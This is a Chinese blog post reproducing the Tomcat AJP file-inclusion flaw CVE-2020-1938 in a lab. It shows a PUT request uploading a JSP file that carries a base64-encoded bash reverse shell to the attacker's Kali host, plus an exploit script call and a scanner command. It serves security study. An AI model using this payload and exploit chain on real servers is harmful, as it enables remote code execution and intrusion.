Tomcat(CVE-2020-1938)漏洞复现与分析
漏洞介绍
该漏洞是 Tomcat AJP 文件包含漏洞,是长亭科技安全研究员发现的 Tomcat 安全漏洞,可查看长亭科技对该漏洞的基本介绍,从中可以知道由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
漏洞危害
- 可以读取 webapp 目录下的任意文件;
- 在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
漏洞原理
Tomcat 配置了两个 Connector,分别是 HTTP 和 AJP:
- HTTP Connector:用于处理 HTTP 请求,默认监听端口是 8080;
- AJP Connector:用于处理 AJP 协议(Apache Jserv Protocol)的请求,默认监听端口 8009,该协议可理解为 HTTP 协议的二进制性能优化版本,可以降低 HTTP 请求的处理成本,因此主要用于集群、反向代理的场景中。
下图中就是 Tomcat 对两个 Connector 的默认配置:
1
2
3
4
5
6
7
8
9
<!-- /usr/local/tomcat/conf/server.xml -->
......
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
......
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
......
环境搭建
照例通过 vulhub 上的 docker 环境进行复现,使用 docker-compose 命令配置环境即可。
| 计算机 | IP |
|---|---|
| Kali | 192.168.174.128 |
| Win10 | 192.168.174.1 |
| Victim | 192.168.174.141 |
漏洞复现
配置好环境后访问 Victim 的 8080 端口,看到 Tomcat 的版本是 9.0.30。
接下来使用大神编写好的代码进行漏洞检测和利用,可以查看 webapps 目录下的文件。
为了实现 RCE,也就是 Tomcat 支持文件上传,这里我们修改 conf/web.xml 文件,添加 readonly 为 false。
1
2
3
4
5
6
7
......
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
......
不过该版本已修复 CVE-2017-12615 漏洞,不能成功绕过限制上传 JSP 文件,然而我们仍然可以上传其他的文件格式,比如说 txt。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PUT /a.txt HTTP/1.1
Host: 192.168.174.141:8080
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 353
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
此时 a.txt 文件已上传到服务器上,接下来需要修改下之前的利用代码,在下图所示中添加 .jsp 。
之后再执行代码:
1
python2 .\CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 192.168.174.141 -f a.txt
此时 Kali 即可接收到反弹的 shell 。
漏洞分析
漏洞验证
可以使用 Xray 进行漏洞验证,通过查看它的 POC 文件,我们知道他也是将我们上述的操作自动化执行,并且也会在服务器上创建文件。
1
.\xray.exe servicescan --target 192.168.174.141:8009 --html-output vulns\tomcat.html
修复建议
升级最新版本。
总结
- 熟悉 Tomcat 的两种协议;
- JSP 反弹 shell
Ref.
This post is licensed under
CC BY 4.0
by the author.




